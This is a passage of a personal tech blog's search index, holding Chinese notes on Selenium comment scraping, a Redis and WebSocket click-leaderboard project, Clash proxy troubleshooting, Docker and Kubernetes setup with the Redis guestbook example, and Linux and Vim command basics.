XML）或其他JavaScript框架来异步加载数据。\n当你访问这样的网页时，初始的HTML文档可能不包含所有内容。随后，JavaScript会被执行来加载更多数据。\n这些数据可能来自服务器的额外HTTP请求，通常返回JSON或XML格式的数据。\n对爬虫的影响：\n更复杂的爬取过程：由于内容是动态加载的，传统的HTTP请求和HTML解析可能无法获取所有数据。\n需要模拟浏览器或分析JavaScript：可能需要使用如Selenium之类的工具来模拟浏览器行为，或分析JavaScript代码和网络请求来直接获取数据。\n可能涉及到更多的反爬机制：动态加载的网站可能有更复杂的反爬虫策略。\nSelenium库 在刷新网易云音乐的一首歌曲下面的评论的时候，发现浏览器的URL都没有发生变化，应该是采用Ajax刷新了网页的部分内容。\n对于这样网站的爬虫有两个思路：\n在浏览器的控制台上刷新时候查看“网络”部分，分析发送的请求，在相应的进行模拟 使用selenium工具进行模拟 本次任务采用selenium进行模拟进行爬取评论。\n然后会得到一堆.txt文件，用python或者shell脚本把他们合在一起，接下来进行数据分析\n代码附录 代码1 网易云音乐评论网络爬虫 from selenium import webdriver from selenium.webdriver.common.by import By from time import sleep # 创建ChromeOptions对象并启用无头模式 chrome_options = webdriver.ChromeOptions() chrome_options.add_argument(\u0026#39;--headless\u0026#39;) driver = webdriver.Chrome(options=chrome_options) # 打开网站 driver.get(\u0026#39;https://music.163.com/#/song?id=1392155391\u0026#39;) # 设定起始页号 page_number = 1 # 定位元素框架 comment_frame = driver.switch_to.frame(\u0026#39;g_iframe\u0026#39;) while page_number\u0026lt;260: # 滚动到页面底部，确保所有的评论都被加载 driver.execute_script(\u0026#34;window.scrollTo(0, document.","title":"使用Selenium库爬取网易云音乐和携程旅行评论"},{"content":"项目概述 项目地址：https://github.com/sirius2alpha/scoreboard\n使用Redis在服务器上对用户的点击数排序，并返回点击次数排行榜。 技术栈 整体设计 用户界面 排行榜展示区: 显示当前排行榜的状态。 点击按钮: 用户点击来增加他们的计分。 昵称输入和提交: 允许新用户输入昵称并参与排行榜。 实时更新监听: 不需要用户交互，自动更新排行榜。 WebSocket客户端逻辑 建立连接: 当用户访问网站时，建立WebSocket连接。 发送点击事件: 当用户点击按钮时，发送消息到服务器。 接收排行榜更新: 监听来自服务器的排行榜更新，并更新界面。 用户注册: 发送新用户的昵称到服务器。 处理断开连接: 如果用户20秒未操作，发送断开消息到服务器。 后端设计（Gin + Redis） WebSocket服务器 处理WebSocket连接: 接受和管理WebSocket连接。 接收消息: 解析从客户端接收到的消息（点击事件，新用户注册）。 Redis交互: 更新用户的分数并重新排序排行榜。 广播排行榜更新: 将更新后的排行榜发送给所有连接的客户端。 处理断开: 移除30秒未操作的用户。 Redis逻辑 用户分数管理: 存储和更新用户分数。 排行榜排序: 实时更新排行榜。 数据持久化: 保证数据在服务重启后仍然可用。 API设计 本项目API设计采用的是websocket实现。\n由于考虑到用户在点击比较频繁，如果采用HTTP会造成头部开销较大，而websocket的头部开销会相对小一些。\n消息类型 UserClick: { type: \u0026ldquo;UserClick\u0026rdquo;, nickname: \u0026ldquo;用户昵称\u0026rdquo; }\nNewUser: { type: \u0026ldquo;NewUser\u0026rdquo;, nickname: \u0026ldquo;用户昵称\u0026rdquo; }\nUserInactive: { type: \u0026ldquo;UserInactive\u0026rdquo;, nickname: \u0026ldquo;用户昵称\u0026rdquo; }\nRankUpdate: { type: \u0026ldquo;RankUpdate\u0026rdquo;, ranks: [{nickname: \u0026ldquo;用户昵称\u0026rdquo;, score: 分数,ClickTime: 上次点击时间, ClickInterval: 上次点击间隔时间}, \u0026hellip;] }\nAPI流程 用户点击: 前端发送UserClick消息到服务器。 新用户加入: 前端发送NewUser消息到服务器。 服务器处理: 接收消息，更新Redis数据，并重新排序排行榜。 排行榜更新: 服务器广播RankUpdate消息到所有客户端。 前端更新界面: 客户端接收RankUpdate消息，更新排行榜显示。\n前端设计 前端采用vue框架编写完成，UI组件采用elementplus\n后端设计 项目后端使用 github.com/gorilla/websocket 和 github.com/gin-gonic/gin 实现一个基于 WebSocket 的实时通信服务。通过 WebSocket，服务能够实时接收和处理客户端发送的各种类型的消息，并根据消息类型执行相应的逻辑。此外，通过后台定时任务，服务还能够定期更新和广播用户的排名信息。这种实现方式对于需要实时通信和快速响应的应用场景非常合适。\nbackend ├── controllers │ └── websocket.go ├── go.mod ├── go.sum ├── main.go ├── routers │ └── router.go └── services └── redis-server.go 后端采用Gin框架完成，大致流程：\n在main.go中启动路由，并且启动端口监听 在routers/router.go中定义/ws路由，用于接收websocket的连接 对于ws的处理，函数定于在controllers/websocket.go中，包括针对不同任务类型使用redis数据库的函数调用 在services/redis-server.go中，对各个任务如何具体操作redis进行定义 使用到的redis数据结构 a. Sorted Set 用途: 存储用户的点击次数，用于排名。 操作: ZAdd: 添加新用户或初始用户，并设置点击次数。 ZIncrBy: 增加用户的点击次数。 ZRemRangeByRank: 清空sorted set。 ZRevRangeWithScores: 获取点击次数最多的前10个用户。 ZRem: 删除不活跃的用户。 b. Hash 用途: 存储用户的最后点击时间和点击间隔。 操作: HSet: 初始化或更新用户的点击时间和点击间隔。 HGet: 获取特定用户的点击时间和点击间隔。 Del: 清空点击时间和间隔的记录。 用户行为处理逻辑 a. 用户添加与更新 新用户处理: 当有新用户加入时，通过AddNewUser函数将用户添加到sorted set中，并初始化点击次数为0。 用户点击处理: 在HandleUserClick函数中，每当用户点击，使用ZIncrBy来增加其在sorted set中的得分（即点击次数），并记录点击时间。 b. 点击间隔更新 定时更新: UpdateClickInterval函数定期更新每个用户自上次点击以来的时间间隔。 时区处理: 代码中特别考虑了时区问题，将时间转换为中国标准时间（Asia/Shanghai）。 c. 用户排名获取 排名展示: GetRanking函数用于获取并返回用户的点击排名，包括用户ID、点击次数、上次点击时间和点击间隔。 d. 活跃状态检查 用户活跃度监测: CheckAllUsers和HandleUserInactive函数用于检查所有用户的活跃状态。若用户的点击间隔超过20秒，则视为不活跃并从sorted set中移除。 WebSocket 通信与处理 a. WebSocket 升级器 配置: 设置了读写缓冲区大小为 1024 字节，并允许所有跨域请求。 功能: 用于将 HTTP GET 请求升级为 WebSocket 连接。 b. WebSocket 连接管理 连接记录: 通过全局变量 connections 记录所有打开的 WebSocket 连接。 消息处理: 在无限循环中监听并读取来自 WebSocket 连接的消息。 c. 消息解析与路由 JSON 检查: 使用 isJSON 函数检查接收到的消息是否为 JSON 格式。 类型判断: 根据消息中的 \u0026ldquo;type\u0026rdquo; 字段，决定执行对应的处理逻辑。 消息处理逻辑 新用户处理: 当收到类型为 \u0026ldquo;NewUser\u0026rdquo; 的消息时，调用 services.AddNewUser 添加新用户。 用户点击处理: 收到 \u0026ldquo;UserClick\u0026rdquo; 类型的消息时，调用 services.HandleUserClick 处理用户点击事件。 用户不活跃处理: 对于 \u0026ldquo;UserInactive\u0026rdquo; 类型的消息，执行 services.HandleUserInactive 以处理不活跃用户。 定时任务处理 后台定时任务: 使用 goroutine 定期执行用户点击间隔的更新、用户活跃状态检查和用户排名获取。 间隔设置: 目前设置为每 200 毫秒执行一次循环中的任务。 用户排名的 WebSocket 广播 排名信息广播: 定期将用户排名信息通过所有打开的 WebSocket 连接广播给客户端。 需要注意的改进点 错误处理: 在一些关键操作后，需要更全面地处理可能的错误返回值。 性能优化: 随着 WebSocket 连接数的增加，消息广播可能成为性能瓶颈。 可以修改的一些bug 1、用户在登录的时候遇到相同用户名，会把他直接刷新\n2、手机端自适应功能差，体验不好\n手机在点击按钮的时候。会触发双击浏览器双击放大的功能，影响体验 手机端的网页有时候滑动不了 有时候手机端最上面的两个按钮会被浏览器的头部遮挡，但是又滑动不上去 3、对于只登录而没有点击的用户，排行榜中会保留下来，但不会清理\n上一次的点击间隔和上次点击时间都不会刷新，后端是根据间隔时间清理用户，虽然可以保留，但是一直保存着也不是办法，可以设置一个单独的时长进行清理。\n部署到服务器上 现在云服务商的域名管理处新建了一个子域名，然后在服务器上使用了nginx给子域名提供对应的服务。\n服务器上保持资源最简单就行，不用把源码都放到服务器上，对于前端的vue框架这边，只用把npm build生成的/dist目录上传就行；对与gin来说，也只需要把go build main.go生成的main可执行文件上传到服务器就行，这样也更加安全。\n遇到的一些问题：\n打开网站显示500，先去检查nginx的日志，然后发现我把/dashboard整个文件夹放在了/root/下面，导致nginx没有权限进行访问，然后就把它转移到了/var/www/下去了。\n然后就是需要注意api的地址要写对，比如这个项目中是/ws，需要在/etc/nginx/sites-avilable/scoreboard中写正确。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E9%A1%B9%E7%9B%AE%E5%BD%92%E6%A1%A3/aorb/dev-scoreboard/","summary":"项目概述 项目地址：https://github.com/sirius2alpha/scoreboard\n使用Redis在服务器上对用户的点击数排序，并返回点击次数排行榜。 技术栈 整体设计 用户界面 排行榜展示区: 显示当前排行榜的状态。 点击按钮: 用户点击来增加他们的计分。 昵称输入和提交: 允许新用户输入昵称并参与排行榜。 实时更新监听: 不需要用户交互，自动更新排行榜。 WebSocket客户端逻辑 建立连接: 当用户访问网站时，建立WebSocket连接。 发送点击事件: 当用户点击按钮时，发送消息到服务器。 接收排行榜更新: 监听来自服务器的排行榜更新，并更新界面。 用户注册: 发送新用户的昵称到服务器。 处理断开连接: 如果用户20秒未操作，发送断开消息到服务器。 后端设计（Gin + Redis） WebSocket服务器 处理WebSocket连接: 接受和管理WebSocket连接。 接收消息: 解析从客户端接收到的消息（点击事件，新用户注册）。 Redis交互: 更新用户的分数并重新排序排行榜。 广播排行榜更新: 将更新后的排行榜发送给所有连接的客户端。 处理断开: 移除30秒未操作的用户。 Redis逻辑 用户分数管理: 存储和更新用户分数。 排行榜排序: 实时更新排行榜。 数据持久化: 保证数据在服务重启后仍然可用。 API设计 本项目API设计采用的是websocket实现。\n由于考虑到用户在点击比较频繁，如果采用HTTP会造成头部开销较大，而websocket的头部开销会相对小一些。\n消息类型 UserClick: { type: \u0026ldquo;UserClick\u0026rdquo;, nickname: \u0026ldquo;用户昵称\u0026rdquo; }\nNewUser: { type: \u0026ldquo;NewUser\u0026rdquo;, nickname: \u0026ldquo;用户昵称\u0026rdquo; }\nUserInactive: { type: \u0026ldquo;UserInactive\u0026rdquo;, nickname: \u0026ldquo;用户昵称\u0026rdquo; }","title":"点击排行榜scoreboard"},{"content":":label:现状 已经安装好了clash for linux，并且在systemd中写好了配置，能够正常运行（在主机上使用浏览器访问外网OK的）。\nvpn配置也已经从机场上拉下来了，但是目前无法ping通google.com。\n潜在误区：ping命令是走的ICMP协议\n:loudspeaker: 诉求 想要在外部网络环境中，调用clash ui进行节点的选择\nweb端dashboard的控制：https://clash.razord.top/#/proxies\n另外一个项目yacd dashboard：https://yacd.haishan.me/\n:question: 怀疑 怀疑没有进行节点的选择，需要把9090端口公开用于在服务器上进行访问。\n但是这台主机是通过云服务器的内网暴露实现公网访问的，所以说需要对frpc的相关进行修改才行。\n备注\nclash的配置文件 config.yaml在/etc/clash下面\ndashboard在/etc/clash下面\n:mag: 问题排查 检查http_proxy, https_proxy echo $http_proxy $https_proxy // output http://127.0.0.1:7890 http://127.0.0.1:7890 SSL错误问题 在主机上开启代理的情况下，使用conda install 会出现SSL的问题；\n但是把环境变量http_proxy等取消设置后，他就不报这个错误了。\nfrp内网暴露服务是否转发成功 因为我要用到clash的主机，是通过一台云服务器进行内网暴露进行使用的，所以需要检查frp相关设置。\n检查~/frp/frpc.toml 配置是否正确，配置正确后在systemctl status 的输出中可以看见相应服务名字成功启动。\n像这样：\n同时在服务端上的日志/var/log/frps.log中可以进行查看。\n在这里也检查出来了一些问题，刚开始的时候clash的相关转发没有跑起来，[[proxies]]这个标签是必要的，不是乱写的啊啊啊\n在主机上 使用https://clash.razord.top/#/proxies可以正常访问web端的dashboard\n访问localhost:9090端口会有一个{\u0026ldquo;clash\u0026rdquo;,\u0026ldquo;hello\u0026rdquo;}类似的提示，但是没有相关的控制平面\n感觉没有暴露和访问正确的端口，9090端口里面什么都没有。\n也有可能是yacd的dashboard影响\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/problem-clash_for_linux/","summary":":label:现状 已经安装好了clash for linux，并且在systemd中写好了配置，能够正常运行（在主机上使用浏览器访问外网OK的）。\nvpn配置也已经从机场上拉下来了，但是目前无法ping通google.com。\n潜在误区：ping命令是走的ICMP协议\n:loudspeaker: 诉求 想要在外部网络环境中，调用clash ui进行节点的选择\nweb端dashboard的控制：https://clash.razord.top/#/proxies\n另外一个项目yacd dashboard：https://yacd.haishan.me/\n:question: 怀疑 怀疑没有进行节点的选择，需要把9090端口公开用于在服务器上进行访问。\n但是这台主机是通过云服务器的内网暴露实现公网访问的，所以说需要对frpc的相关进行修改才行。\n备注\nclash的配置文件 config.yaml在/etc/clash下面\ndashboard在/etc/clash下面\n:mag: 问题排查 检查http_proxy, https_proxy echo $http_proxy $https_proxy // output http://127.0.0.1:7890 http://127.0.0.1:7890 SSL错误问题 在主机上开启代理的情况下，使用conda install 会出现SSL的问题；\n但是把环境变量http_proxy等取消设置后，他就不报这个错误了。\nfrp内网暴露服务是否转发成功 因为我要用到clash的主机，是通过一台云服务器进行内网暴露进行使用的，所以需要检查frp相关设置。\n检查~/frp/frpc.toml 配置是否正确，配置正确后在systemctl status 的输出中可以看见相应服务名字成功启动。\n像这样：\n同时在服务端上的日志/var/log/frps.log中可以进行查看。\n在这里也检查出来了一些问题，刚开始的时候clash的相关转发没有跑起来，[[proxies]]这个标签是必要的，不是乱写的啊啊啊\n在主机上 使用https://clash.razord.top/#/proxies可以正常访问web端的dashboard\n访问localhost:9090端口会有一个{\u0026ldquo;clash\u0026rdquo;,\u0026ldquo;hello\u0026rdquo;}类似的提示，但是没有相关的控制平面\n感觉没有暴露和访问正确的端口，9090端口里面什么都没有。\n也有可能是yacd的dashboard影响","title":"在linux上配置clash，通过Dashboard控制"},{"content":"常规步骤：安装vim openssh，生成密钥 sudo apt-get update sudo apt-get install vim openssh-server cd .ssh ssh-keygen -t rsa -C \u0026#34;sirius1y@outlook.com\u0026#34; cat id_rsa.pub \u0026gt; authorized_keys ssh localhost exit rm known_hosts 安装docker 设置 Docker 的apt存储库 官网教程：https://docs.docker.com/desktop/install/ubuntu/\n# Add Docker\u0026#39;s official GPG key: sudo apt-get update # 安装证书、下载工具、证书验证工具 sudo apt-get install ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 证书对所有人都可读 sudo chmod a+r /etc/apt/keyrings/docker.gpg # Add the repository to Apt sources: echo \\ \u0026#34;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \\ $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026#34;$VERSION_CODENAME\u0026#34;) stable\u0026#34; | \\ sudo tee /etc/apt/sources.list.d/docker.list \u0026gt; /dev/null sudo apt-get update 安装 Docker 软件包 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin 通过运行镜像来验证Docker Engine安装是否成功 sudo docker run hello-world 安装Kubernetes 换源 apt-get update \u0026amp;\u0026amp; apt-get install -y apt-transport-https curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | sudo apt-key add - sudo vim /etc/apt/sources.list.d/kubernetes.list ### deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main ### sudo apt-get update # 验证 apt-cache madison kubectl apt-cache madison kubeadm 开始安装 sudo apt-get install kubelet=1.18.0-00 kubeadm=1.18.0-00 kubectl=1.18.0-00 验证安装成功 kubeadm version 在腾讯云上将当前主机创建为镜像 从镜像中恢复后，检查docker, kubeadm为1.18的版本 sudo docker run hello-world kubeadm version 更改hostname，hosts 添加内网地址\nsudo vim /etc/hostname sudo vim /etc/hosts 重启之后，可以实现免密ssh登录\n关闭swap分区虚拟内存 sudo swapoff -a kubenetes初始化 使用kubeadm初始化master node 参考指南：https://kubernetes.io/zh-cn/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\n这里的内网地址和外网地址都可以，但是后面的--service-cidr,--pod-network是需要的，不然会出现flannel一直处于crash状态一直在重启，并且dnscore也会一直处于creating的状态。\nsudo kubeadm init --apiserver-advertise-address=172.19.16.5 --image-repository=registry.aliyuncs.com/google_containers --service-cidr=10.96.0.0/12 --pod-network-cidr=10.244.0.0/16 mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/config kubernete slave加入 sudo kubeadm join 172.19.16.6:6443 --token 836yhd.5plsxh5r8j13xcjz \\ --discovery-token-ca-cert-hash sha256:8dbfb4048b7e636a20184b8e24a55a27319597001d526468ee58531d2d0521c8 进行部署 # master kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml kubectl get pods --all-namespaces kubectl get nodes redis deployment mkdir redis_example cd redis_example/ vim redis-leader-deployment.yaml # redis-leader-deployment.yaml # SOURCE: https://cloud.google.com/kubernetes-engine/docs/tutorials/guestbook apiVersion: apps/v1 kind: Deployment metadata: name: redis-leader labels: app: redis role: leader tier: backend spec: replicas: 1 selector: matchLabels: app: redis template: metadata: labels: app: redis role: leader tier: backend spec: containers: - name: leader image: \u0026#34;docker.io/redis:6.0.5\u0026#34; resources: requests: cpu: 100m memory: 100Mi ports: - containerPort: 6379 kubectl apply -f redis-leader-deployment.yaml redis service vim redis-leader-service.yaml # redis-leader-service.yaml # SOURCE: https://cloud.google.com/kubernetes-engine/docs/tutorials/guestbook apiVersion: v1 kind: Service metadata: name: redis-leader labels: app: redis role: leader tier: backend spec: ports: - port: 6379 targetPort: 6379 selector: app: redis role: leader tier: backend kubectl apply -f redis-leader-service.yaml redis deployment vim redis-follower-deployment.yaml # SOURCE: https://cloud.google.com/kubernetes-engine/docs/tutorials/guestbook apiVersion: apps/v1 kind: Deployment metadata: name: redis-follower labels: app: redis role: follower tier: backend spec: replicas: 2 selector: matchLabels: app: redis template: metadata: labels: app: redis role: follower tier: backend spec: containers: - name: follower image: us-docker.pkg.dev/google-samples/containers/gke/gb-redis-follower:v2 resources: requests: cpu: 100m memory: 100Mi ports: - containerPort: 6379 kubectl apply -f redis-follower-deployment.yaml redis service vim redis-follower-service.yaml # SOURCE: https://cloud.google.com/kubernetes-engine/docs/tutorials/guestbook apiVersion: v1 kind: Service metadata: name: redis-follower labels: app: redis role: follower tier: backend spec: ports: # the port that this service should serve on - port: 6379 selector: app: redis role: follower tier: backend kubectl apply -f redis-follower-service.yaml 前端deployment vim frontend-deployment.yaml # SOURCE: https://cloud.google.com/kubernetes-engine/docs/tutorials/guestbook apiVersion: apps/v1 kind: Deployment metadata: name: frontend spec: replicas: 3 selector: matchLabels: app: guestbook tier: frontend template: metadata: labels: app: guestbook tier: frontend spec: containers: - name: php-redis image: us-docker.pkg.dev/google-samples/containers/gke/gb-frontend:v5 env: - name: GET_HOSTS_FROM value: \u0026#34;dns\u0026#34; resources: requests: cpu: 100m memory: 100Mi ports: - containerPort: 80 kubectl apply -f frontend-deployment.yaml 前端service vim frontend-service.yaml # SOURCE: https://cloud.google.com/kubernetes-engine/docs/tutorials/guestbook apiVersion: v1 kind: Service metadata: name: frontend labels: app: guestbook tier: frontend spec: # if your cluster supports it, uncomment the following to automatically create # an external load-balanced IP for the frontend service. # type: LoadBalancer type: NodePort ports: # the port that this service should serve on - port: 80 selector: app: guestbook tier: frontend kubectl apply -f frontend-service.yaml 访问前端 在云服务器的安全组里面放开frontend的端口，在浏览器中访问可以看到页面\n删除其中的一个pod 在尝试删除一个front pod之后，可以看到kubernetes系统自动为我们新建了一个frontend的pod\nkubectl delete pod frontend-769fbdbdcc-jdvfb pod扩容 kubectl scale deployment frontend --replicas=5 ","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E5%B7%A5%E4%BD%9C/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/deploy-redis-ondocker/","summary":"常规步骤：安装vim openssh，生成密钥 sudo apt-get update sudo apt-get install vim openssh-server cd .ssh ssh-keygen -t rsa -C \u0026#34;sirius1y@outlook.com\u0026#34; cat id_rsa.pub \u0026gt; authorized_keys ssh localhost exit rm known_hosts 安装docker 设置 Docker 的apt存储库 官网教程：https://docs.docker.com/desktop/install/ubuntu/\n# Add Docker\u0026#39;s official GPG key: sudo apt-get update # 安装证书、下载工具、证书验证工具 sudo apt-get install ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 证书对所有人都可读 sudo chmod a+r /etc/apt/keyrings/docker.gpg # Add the repository to Apt sources: echo \\ \u0026#34;deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.","title":"在docker中安装redis"},{"content":"创建用户 # 新建用户 sudo adduser newuser # 添加到用户组 sudo usermod -aG sudo newuser # 这里-aG选项表示将用户添加到指定组中。sudo是Ubuntu中默认的超级用户组。 查看系统信息 查看CPU信息:\nlscpu: 显示CPU架构信息，如型号、核心数、线程数等。 top 或 htop（需要安装）: 实时显示CPU使用率及其它系统信息。 不得不说htop比top好用太多！\n查看GPU信息 (如果安装了NVIDIA GPU):\nnvidia-smi: 显示NVIDIA GPU的状态，包括使用率、温度、显存使用等。 查看内存信息:\nfree -m: 显示内存使用情况，包括总量、使用中、空闲等，单位为MB。 vmstat: 显示内存统计信息及系统进程、交换、IO等信息。 查看网络信息:\nifconfig（在某些系统中可能需要安装net-tools）: 显示网络接口配置信息。 ip addr: 显示网络接口的IP地址。 netstat（可能需要安装）: 显示网络连接、路由表、接口统计等信息。 nload 或 iftop（需要安装）: 实时监控网络流量和带宽使用。 关闭桌面 如果您的Ubuntu服务器当前运行着GNOME或任何其他图形界面，并且您想要关闭这个图形界面（也就是说，让服务器运行在纯命令行模式），您可以按照以下步骤操作：\n关闭GNOME或图形界面 停止图形界面服务:\n对于使用systemd的系统（如最新版的Ubuntu），您可以使用以下命令停止gdm（GNOME Display Manager）或类似的服务： sudo systemctl stop gdm3 如果您不确定是哪个显示管理器（比如可能是lightdm, sddm等），可以先检查当前运行的显示管理器： systemctl list-units --type=service | grep -E \u0026#39;gdm|sddm|lightdm|x11\u0026#39; 禁用自动启动:\n如果您不想在每次启动时自动进入图形界面，可以禁用对应的服务： sudo systemctl disable gdm3 再次启用GNOME或图形界面 当您需要再次启用GNOME或其他图形界面时，您可以使用以下命令：\n启动图形界面服务:\n使用以下命令启动显示管理器（这里以gdm3为例）： sudo systemctl start gdm3 启用自动启动:\n如果您希望在下次启动时自动进入图形界面，可以重新启用服务： sudo systemctl enable gdm3 注意事项 停止或禁用图形界面会导致系统仅通过命令行界面可用，确保您熟悉命令行操作。 根据您的具体系统配置和使用的显示管理器，命令可能略有不同。例如，如果您使用的是LightDM，您应该使用lightdm替换命令中的gdm3。 如果您在操作过程中遇到任何问题，请确保能够访问物理服务器或远程管理控制台，以便进行故障排除。 压缩和解压 .tar 文件 # 仅打包，并非压缩 tar -xvf FileName.tar # 解包 tar -cvf FileName.tar DirName # 将DirName和其下所有文件（夹）打包 .gz文件 # .gz gunzip FileName.gz # 解压1 gzip -d FileName.gz # 解压2 gzip FileName # 压缩，只能压缩文件 .tar.gz文件、 .tgz文件 # .tar.gz 和 .tgz tar -zxvf FileName.tar.gz # 解压 tar -zcvf FileName.tar.gz DirName # 将DirName和其下所有文件（夹）压缩 tar -C DesDirName -zxvf FileName.tar.gz # 解压到目标路径 .zip文件 # 感觉.zip占用空间比.tar.gz大 unzip FileName.zip # 解压 zip FileName.zip DirName # 将DirName本身压缩 zip -r FileName.zip DirName # 压缩，递归处理，将指定目录下的所有文件和子目录一并压缩 .rar文件 # mac和linux并没有自带rar，需要去下载 rar x FileName.rar # 解压 rar a FileName.rar DirName # 压缩 对Windows的NTFS硬盘进行写入挂载 执行\nsudo ntfsfix /dev/nvme1n1p4 重新挂载硬盘 就可以进行写入操作了。\n验证：\nmount | grep -i \u0026#34;on /media/sirius/File\u0026#34; 是rw就是可以写入，or是只读。\necho 对于echo 单引号变量，就直接进行标准输出；\n对于双引号变量，会对其中的变量进行引用，再标准输出。\n# 对于单引号变量，不对其中的变量进行解释，直接标准输出 yoho@yoho-Lenovo-XiaoXinPro-16IHU-2021:~$ abc=\u0026#39;hello world\u0026#39; yoho@yoho-Lenovo-XiaoXinPro-16IHU-2021:~$ echo $abc hello world yoho@yoho-Lenovo-XiaoXinPro-16IHU-2021:~$ def=\u0026#39;hello $abc\u0026#39; yoho@yoho-Lenovo-XiaoXinPro-16IHU-2021:~$ echo $def hello $abc # 对于双引号变量，会对其中的变量进行引用，再标准输出 yoho@yoho-Lenovo-XiaoXinPro-16IHU-2021:~$ def=\u0026#34;hello $abc\u0026#34; yoho@yoho-Lenovo-XiaoXinPro-16IHU-2021:~$ echo $def hello hello world dpkg 对于包更新 sudo dpkg -i \u0026lt;package_name\u0026gt;.deb 包卸载 sudo dpkg -r package_name 查询特定包的信息 dpkg -l | grep package_name grep grep 是一个用于在文本文件中搜索指定模式（字符串）的命令行工具。它的名称来自于 \u0026ldquo;Global Regular Expression Print\u0026rdquo; 的缩写，这是它最初的主要功能之一，即在文本中查找匹配正则表达式的行并打印出来。grep 在 Unix 和类 Unix 操作系统中广泛使用。\ngrep 的基本用法如下：\ngrep [选项] 模式 [文件] [选项]：用于指定搜索行为的选项，例如 -i（不区分大小写）、-v（反向匹配）、-r（递归搜索目录）、-l（仅显示匹配文件名）等。 模式：要搜索的文本模式或正则表达式。 [文件]：要搜索的文件名列表，如果未提供文件名，则 grep 会从标准输入中读取数据。 例如，要在一个文件 example.txt 中查找包含字符串 \u0026ldquo;apple\u0026rdquo; 的所有行，你可以使用以下命令：\ngrep \u0026#34;apple\u0026#34; example.txt grep 将输出所有包含 \u0026ldquo;apple\u0026rdquo; 的行。\n以下是一些常见的 grep 选项：\n-i：忽略大小写。 -v：反向匹配，只显示不包含模式的行。 在小红书的笔试题中就有用cat和grep输出不包含空行的文本，用到了正则表达式的\u0026rsquo;^$\u0026lsquo;和grep -v\n-r：递归搜索目录中的文件。 -l：仅显示包含模式的文件名，而不显示匹配的行。 grep 是一个非常强大和灵活的文本搜索工具，可以用于各种情况，包括日志分析、数据提取、代码搜索等。它支持正则表达式，因此可以进行高级的模式匹配和搜索操作。\nVim ☆ 命令模式下我们能做什么 ① 移动光标 ② 复制 粘贴 ③ 剪切 粘贴 删除 ④ 撤销与恢复\n命令模式 移动光标到首行或末行（!） 移动光标到首行 =\u0026gt; gg\n移动光标到末行 =\u0026gt; G\n☆ 翻屏 向上 翻屏，按键：ctrl + b （before） 或 PgUp\n向下 翻屏，按键：ctrl + f （after） 或 PgDn\n向上翻半屏，按键：ctrl + u （up）\n向下翻半屏，按键：ctrl + d （down）\n☆ 快速定位光标到指定行（!） 行号 + G，如150G代表快速移动光标到第150行。\n复制/粘贴（!） ① 复制当前行（光标所在那一行）\n按键：yy\n粘贴：在想要粘贴的地方按下p 键【将粘贴在光标所在行的下一行】,如果想粘贴在光标所在行之前，则使用P键\n② 从当前行开始复制指定的行数，如复制5行，5yy\n粘贴：在想要粘贴的地方按下p 键【将粘贴在光标所在行的下一行】,如果想粘贴在光标所在行之前，则使用P键\n剪切/删除（!） 在VIM编辑器中，剪切与删除都是dd\n如果剪切了文件，但是没有使用p进行粘贴，就是删除操作\n如果剪切了文件，然后使用p进行粘贴，这就是剪切操作\n① 剪切/删除当前光标所在行\n按键：dd （删除之后下一行上移）\n粘贴：p\n注意：dd 严格意义上说是剪切命令，但是如果剪切了不粘贴就是删除的效果。\n② 剪切/删除多行（从当前光标所在行开始计算）\n按键：数字dd\n粘贴：p\n特殊用法：\n③ 剪切/删除光标所在的当前行（光标所在位置）之后的内容，但是删除之后下一行不上移\n按键：D （删除之后当前行会变成空白行）\n撤销/恢复（!） 撤销：u（undo）\n恢复：ctrl + r 恢复（取消）之前的撤销操作【重做，redo】\n末行模式 ☆ 末行模式下我们能做什么\n文件保存、退出、查找与替换、显示行号、paste模式等等\n保存/退出（!） :w =\u0026gt; 代表对当前文件进行保存操作，但是其保存完成后，并没有退出这个文件\n:q =\u0026gt; 代表退出当前正在编辑的文件，但是一定要注意，文件必须先保存，然后才能退出\n:wq =\u0026gt; 代表文件先保存后退出（保存并退出）\n如果一个文件在编辑时没有名字，则可以使用:wq 文件名称，代表把当前正在编辑的文件保存到指定的名称中，然后退出\n:q! =\u0026gt; 代表强制退出但是文件未保存（不建议使用）\n查找/搜索（!） 切换到命令模式，然后输入斜杠/（也是进入末行模式的方式之一）\n进入到末行模式后，输入要查找或搜索的关键词，然后回车\n如果在一个文件中，存在多个满足条件的结果。在搜索结果中切换上/下一个结果：N/n （大写N代表上一个结果，小写n代表next）\n如果需要取消高亮，则需要在末行模式中输入:noh【no highlight】\n文件内容的替换（!） 第一步：首先要进入末行模式（在命令模式下输入冒号:）\n第二步：根据需求替换内容\n① 只替换光标所在这一行的第一个满足条件的结果（只能替换1次）\n:s/要替换的关键词/替换后的关键词 + 回车\n案例：把hello rhel中的 rhel替换为 rhel8\n切换光标到hello rhel这一行\n:s/rhel/rhel8 ② 替换光标所在这一行中的所有满足条件的结果（替换多次，只能替换一行）\n:s/要替换的关键词/替换后的关键词/g\tg=global全局替换\n案例：把hello rhel中的所有rhel都替换为rhel8\n切换光标到hello rhel这一行\n:s/rhel/rhel8/g ③ 